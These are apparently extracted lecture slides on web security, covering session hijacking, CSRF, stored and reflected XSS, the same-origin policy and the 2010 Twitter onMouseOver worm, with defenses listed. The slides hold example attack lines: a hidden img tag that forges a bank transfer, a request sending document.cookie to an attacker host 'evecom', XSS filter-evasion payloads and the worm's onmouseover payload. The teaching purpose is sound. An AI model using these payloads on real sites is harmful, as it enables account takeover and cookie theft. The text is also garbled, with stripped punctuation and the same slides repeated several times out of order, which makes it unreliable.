I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

